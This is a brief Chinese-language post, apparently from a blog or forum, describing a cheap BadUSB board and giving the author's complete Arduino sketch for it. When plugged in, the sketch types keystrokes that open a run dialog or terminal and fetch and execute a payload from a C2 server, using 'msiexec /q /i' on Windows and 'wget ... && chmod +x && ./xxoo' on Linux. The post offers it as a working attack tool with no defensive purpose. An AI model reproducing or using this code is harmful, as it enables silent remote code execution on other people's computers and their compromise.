TB上买橡皮鸭USB开发板，也叫BadUSB，二三十块钱一个，可以通过简单编程将逻辑刷入USB固件中，插入电脑的时候，模拟键盘按键，自动执行特定逻辑。

下面是我写的一个兼容Windows和Linux的键盘按键，完成远程下载执行的功能，

#include <Keyboard.h>// C2 Server 
String szURL = "http://IP/";void win(){// Open CAPS_LOCKKeyboard.press(KEY_LEFT_SHIFT);Keyboard.release(KEY_LEFT_SHIFT);// Win + RKeyboard.press(KEY_LEFT_GUI);delay(150);Keyboard.press('r');Keyboard.releaseAll();delay(300);// msiexec /q /i http://IP/win.msiKeyboard.print("msiexec /q /i ");Keyboard.print(szURL);Keyboard.print("win.msi");// EnterKeyboard.press(KEY_RETURN);Keyboard.press(KEY_RETURN);Keyboard.releaseAll();
}void linux(){// Open TerminalKeyboard.press(KEY_LEFT_ALT);Keyboard.press(KEY_F2);delay(150);Keyboard.releaseAll();delay(300);// Download and ExecuteKeyboard.print("wget ");Keyboard.print(szURL);Keyboard.print("xxoo -O xxoo && chmod +x xxoo && ./xxoo");Keyboard.press(KEY_RETURN);Keyboard.releaseAll();
}void setup() {// put your setup code here, to run once:Keyboard.begin();delay(5000);linux();delay(1000);win();Keyboard.end();}void loop() {// put your main code here, to run repeatedly:}
